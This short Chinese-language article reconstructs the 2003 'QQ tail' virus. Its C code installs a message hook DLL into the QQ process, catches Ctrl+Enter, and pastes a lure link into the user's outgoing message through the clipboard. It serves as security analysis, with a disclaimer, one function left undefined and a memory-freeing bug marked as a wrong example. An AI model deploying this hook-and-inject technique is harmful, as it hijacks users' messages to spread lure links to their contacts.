2003 年「QQ尾巴」病毒利用 IE 郵件頭漏洞在 QQ 傳播。受害者發送訊息時,病毒自動在文字後附加誘導連結。本文從技術角度還原其核心實現:全域 Hook 攔截發送熱鍵 + 剪貼板注入文字。
TCHAR g_str[] = _T("歡迎來我的小站:https://example.com");
void PasteText(HWND hRichEdit) {
HGLOBAL hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
LPTSTR pStr = (LPTSTR)GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
GlobalFree(hMem); // 注意:SetClipboardData 後系統擁有記憶體,此處 Free 實為錯誤示範,正確做法不釋放
// 發送貼上訊息給 RichEdit
SendMessage(hRichEdit, WM_PASTE, 0, 0);
}
Timer 無法精確在使用者按下「發送」或 Ctrl+Enter 瞬間注入,易導致使用者正在輸入時文字突兀出現。病毒採用 鍵盤/訊息 Hook 精準捕捉發送動作。
Windows Hook 允許 DLL 注入目標進程,攔截特定訊息(如 WM_KEYDOWN、WM_COMMAND)。
// DLL 導出函數
HHOOK g_hHook = NULL;
__declspec(dllexport) void InstallHook(HWND hTargetWnd) {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, HookProc, g_hInst, GetWindowThreadProcessId(hTargetWnd, NULL));
}
__declspec(dllexport) void UninstallHook() { UnhookWindowsHookEx(g_hHook); }
// Hook 處理函數
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
MSG* pMsg = (MSG*)lParam;
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN && (GetKeyState(VK_CONTROL) & 0x8000)) {
// 偵測到 Ctrl+Enter,尋找 RichEdit 並注入
HWND hRich = FindRichEdit(pMsg->hwnd);
if (hRich) PasteText(hRich);
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
本文僅供安全研究與防禦理解。實際部署 Hook 注入屬惡意軟體行為,現代殺毒軟體與 Windows 內核防護(如 CFG、ACG)均會攔截。開發者應專注於正當的自動化測試、輔助工具開發。